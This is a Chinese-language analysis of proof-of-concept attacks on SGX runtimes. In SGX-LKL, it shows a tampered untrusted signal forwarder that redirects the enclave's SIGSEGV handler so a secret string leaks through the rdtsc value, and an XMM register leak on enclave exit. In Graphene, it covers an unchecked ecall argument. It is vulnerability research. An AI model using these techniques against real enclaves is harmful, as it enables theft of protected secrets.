0xbadc0de
包含针对SGX软件栈的若干漏洞利用POC。
SGX-LKL(Commit ID: 664eb25)
从SGX-LKL启动到开始运行App
shell
中用sgx-lkl-run
运行app
$ sgx-lkl-run ${app} ${app_env_arg}
// src/main/sgxlkl_run.c (Untrusted)
int main(int argc, char *argv[], char *envp[]) {
...
a[i].call_id = SGXLKL_ENTER_THREAD_CREATE;
a[i].args = &encl;
a[i].tcs_id = i;
r = pthread_create(&ts[ntsyscall + i], &eattr, (void *)enclave_thread, (void *) &a[i]);
...
}
// src/main/sgxlkl_run.c (Untrusted)
void* enclave_thread(void* parm) {
...
enter_enclave(args->tcs_id, args->call_id, args->args, ret);
...
}
// src/sgx/sgx.c (Untrusted)
void enter_enclave(int tcs_id, uint64_t call_id, void* arg, uint64_t* ret) {
...
eenter((uint64_t)threads[tcs_id].addr, &ret[0], &ret[1]);
...
}
// src/sgx/sgx.c (Untrusted)
/*
* IN: rdi - call id, rsi - call arg
* OUT: rdi - exit reason, rsi - exit code
*/
__attribute__((noinline))
void eenter(uint64_t tcs, uint64_t* rdi, uint64_t* rsi) {
asm volatile(
".byte 0x0f \n"
".byte 0x01 \n"
".byte 0xd7 \n"
: "+D"(*rdi), "+S"(*rsi)
: "a"(0x2), "b"(tcs), "c"(&exception)
: "%rdx", "%r8", "%r9", "%r10", "%r11", "%r12", "%r13", "%r14", "%r15", "memory"
);
}
// sgx-lkl-musl/src/env/__libc_start_main.c (Trusted) (EntryPoint)
void __sgx_lkl_entry(uint64_t call_id, void* arg) {
...
__sgx_lkl_start_main(encl);//case SGXLKL_ENTER_THREAD_CREATE
...
}
// sgx-lkl-musl/src/env/__libc_start_main.c (Trusted)
int __sgx_lkl_start_main(enclave_config_t *encl)
{
...
__libc_init_enclave(encl->argc, encl->argv, encl);
...
}
// sgx-lkl-musl/src/env/__libc_start_main.c (Trusted)
/* 1 - initialization in progress, 2 - initialized */
int __libc_init_enclave(int argc, char **argv, enclave_config_t *encl)
{
...
/* You shall not pass control to the application */
if (lthread_create(<, NULL, startmain, encl) == -1) { //注册SGX-LKL所支撑的Legacy App(调度入队操作)。__scheduler_enqueue(struct lthread *lt)
exit(-1);
}
lthread_run();// 执行Legacy App
return 0;
}
// src/sched/lthread.c (Trusted)
// 循环调度注册的App
void lthread_run(void) {
...
for (;;) {
/* start by checking if a sleeping thread needs to wakeup */
do {
...
// Below are different cases
//SGXLKL_TRACE_THREAD("[tid=%-3d] lthread_run() lthread_resume (wakeup sleeping thread) \n", lt->tid);
//SGXLKL_TRACE_THREAD("[tid=%-3d] lthread_run() lthread_resume (dequeue sched queue) \n", lt->tid);
_lthread_resume(lt);
...
} while (dequeued);
...
}
...
}
// src/sched/lthread.c (Trusted)
int _lthread_resume(struct lthread *lt) {
...
_switch(<->ctx, &sched->ctx);//切换上下文
...
}
Signal Handler
Sample Out
../../build/sgx-lkl-run sgxlkl-disk.img app/helloworld
sgx.c: ubase = 0x7feed8000000, size = 5d7f -> end = 0x7feed8005d7e
ubase = 0x7feed8000000
enclave: super secret string at 0x7feeda678aa0
sgxlkl_run.c: Forward signal with siginfo at 0x7feee09ca7f0, signum = 4, siginfo.arg = 0x33bb4a46074
Oho, I will modify it then to 0x7feeda678aa0
DORESUME
tsc = 7465726365732072
Hello World!
Logic
要窃取的秘密:secret="\4\0\0\0super secret string"
。
相较于SGX-LKL常规启动流程,回显了一些内存布局信息。
// src/main/sgxlkl_run.c (Untrusted)
int main(int argc, char *argv[], char *envp[]) {
...
uint64_t ubase = create_enclave_mem(enclave_start, getenv_bool("SGXLKL_NON_PIE", 0), &__sgxlklrun_text_segment_start);
printf("ubase = %p\n", ubase);
ubase_global = ubase;//定位Enclave基地址
...
}
// src/sgx/sgx.c(Untrusted)
uintptr_t create_enclave_mem(char *p, int base_zero, void *base_zero_max) {
...
printf("sgx.c: ubase = %p, size = %x -> end = %p\n", ubase, size, ubase + size - 1);
...
}
SGX-LKL初始化完毕后(2.1节),进入Legacy Aapp。
// apps/helloworld/helloworld.c (Trusted)
char* secret = "\4\0\0\0super secret string";
int main(int argc, char **argv) {
printf("enclave: super secret string at %p\n", secret);
uint64_t tsc = __builtin_ia32_rdtsc(); //SGX内不支持tdtsc会触发中断,由SGX-LKL接管并反馈rdtsc值
printf("tsc = %lx\n", tsc);
...
}
SGX内不支持tdtsc会触发中断,由SGX-LKL接管并反馈rdtsc值。
// src/main/sgxlkl_run.c (Untrusted)
void sigill_handler(int sig, siginfo_t *si, void *unused) {//在setup_signal_handlers()中注册(Untrusted)
...
__asm("rdtscp" : "=a"(low), "=d"(high) : : "rcx");//后续在forward_signal()中被攻击者篡改
...
forward_signal(SIGILL, (void*) rsi);
}
// src/main/sgxlkl_run.c (Untrusted)
void forward_signal(int signum, void *handler_arg) {
...
printf("sgxlkl_run.c: Forward signal with siginfo at %p, signum = %d, siginfo.arg = %p\n", &siginfo, siginfo.signum, siginfo.arg);
if(siginfo.signum == SIGILL)
{
siginfo.signum = SIGSEGV;
siginfo.arg = ubase_global + 0x2678AA0;//事先算好secret的虚地址
arg = siginfo.arg;
printf("Oho, I will modify it then to %p\n", siginfo.arg);
}
...
enter_enclave(my_tcs_id, call_id, arg, ret);//利用Enclave内异常处理句柄__enclave_signal_handler(),将包含Secret的Page写入tsc中
...
}
// src/sgx/enclave_signal.c (Trusted)
void __enclave_signal_handler(gprsgx_t *regs, enclave_signal_info_t *siginfo) {
...
switch (siginfo->signum) {
case SIGSEGV:
//printf("SIGSEV: ");
ret = handle_sigsegv(regs, siginfo->arg);
break;
...
}
...
}
// src/sgx/enclave_signal.c (Trusted)
static int handle_sigsegv(gprsgx_t *regs, void *arg) {
...
printf("Now calling the segv_handler, arg was %p...\n", arg);
uint8_t* dump = &si;
for(unsigned int i = 0; i < sizeof(siginfo_t); i++)
{
printf("%02x ", dump[i]);
}
printf("\n");
(*segv_handler)(si.si_signo, &si, &u);//错误地将包含Secret的Page写入tsc中
...
}
Enclave内对段错误的处理到此完成,程序退回到不可信环境的forward_signal()
。
// src/main/sgxlkl_run.c (Untrusted)
void forward_signal(int signum, void *handler_arg) {
...
printf("DORESUME\n");
...
}
tsc相关的SIGILL被处理,ERESUME
进入Enclave,返回到Enclave内的helloword
程序。
// apps/helloworld/helloworld.c (Trusted)
int main(int argc, char **argv) {
...
printf("tsc = %lx\n", tsc);//0x7465726365732072 "terces r" -> "r secret"
...
}
恢复出的密码为r secret
。
XMM Leak
Sample Out
过长,见Here。
Logic
该POC每次从Enclave退出后检测XMM寄存器的状态遗留。
// src/main/sgxlkl_run.c
void* enclave_thread(void* parm) {
...
while (!__state_exiting) {
enter_enclave(args->tcs_id, args->call_id, args->args, ret);
dump_xmm_regs(0, ret[0]);
...
}
..
}
SGX-LKL中的OCALL退出Enclave操作由leave_enclave()
完成,setjmp()
备份Enclave上下文,但寄存器状态没有清除,存在泄漏。(POC中的泄漏处应为exit_enclave()
,而非leave_enclave()
)
void leave_enclave(uint64_t rdi, uint64_t rsi) {
set_thread_state(OUTSIDE);
...
if (setjmp(get_enclave_parms()->regs) == 0) {
//TODO: clear registers
__asm__ volatile(
"mov %0,%%rsp\n"
"mov %1,%%rbp\n"
".byte 0x0f \n"
".byte 0x01 \n"
".byte 0xd7 \n"
:
: "r"(ursp), "r"(urbp), "a"(0x4), "b"(exit_address), "D"(rdi), "S"(rsi)
:
);
}
set_thread_state(ACTIVE);
}
SGX-LKL的ECALL结束返回Enclave外的操作由exit_enclave()
完成,同样没清除寄存器状态。
void exit_enclave(uint64_t rdi, uint64_t rsi, void* exit_address, int exit_thread_state) {
set_thread_state(exit_thread_state);
...
//TODO: clear registers
__asm__ volatile(
"mov %0,%%rsp\n"
"mov %1,%%rbp\n"
".byte 0x0f \n"
".byte 0x01 \n"
".byte 0xd7 \n"
:
: "r"(ursp), "r"(urbp), "a"(0x4), "b"(exit_address), "D"(rdi), "S"(rsi)
:
);
}
Graphene
Graphene ocall_clone_thread()
代码流程
为了分析《A Tale of Two Worlds》提到的Graphene调用栈漏洞(Readme提到了ocall_clone_thread()
),此文贴上了ocall_clone_thread()
中最关键的代码流程,并省略了Bridge
和Runtime
。
// in Enclave
// Pal/src/host/Linux-SGX/enclave_ocalls.c
int ocall_clone_thread (void (*func) (void *), const void * arg,
unsigned int * child_tid, unsigned int * tid)
{
...
retval = SGX_OCALL(OCALL_CLONE_THREAD, ms);
...
}
// outside Enclave
// Pal/src/host/Linux-SGX/sgx_enclave.c
void * ocall_table[OCALL_NR] = {
...
[OCALL_CLONE_THREAD] = (void *) sgx_ocall_clone_thread,
...
};
// outside Enclave
// Pal/src/host/Linux-SGX/sgx_enclave.c
static int sgx_ocall_clone_thread(void * pms)
{
...
return clone_thread(ms->ms_func, (void *) ms->ms_arg,
ms->ms_child_tid, &ms->ms_tid);
}
// outside Enclave
// Pal/src/host/Linux-SGX/sgx_thread.c
int clone_thread(void (*func) (void *, void *), void * arg,
unsigned int * child_tid, unsigned int * tid)
{
...
ret = pthread_create(&new_arg.thread, NULL, thread_start, &new_arg);
...
}
// outside Enclave
// Pal/src/host/Linux-SGX/sgx_thread.c
static void * thread_start (void * arg)
{
...
ecall_thread_start(local_arg.func,
local_arg.arg,
local_arg.child_tid,
local_arg.tid);
...
}
// outside Enclave
// Pal/src/host/Linux-SGX/sgx_enclave.c
int ecall_thread_start (void (*func) (void *), void * arg,
unsigned int * child_tid, unsigned int tid)
{
...
return sgx_ecall(ECALL_THREAD_START, &ms);
}
// in Enclave
// Pal/src/host/Linux-SGX/enclave_ecalls.c
void * ecall_table[ECALL_NR] = {
...
[ECALL_THREAD_START] = (void *) enclave_ecall_thread_start,
};
// in Enclave
// Pal/src/host/Linux-SGX/enclave_ecalls.c
int enclave_ecall_thread_start (void * pms)
{
...//未检查pms
}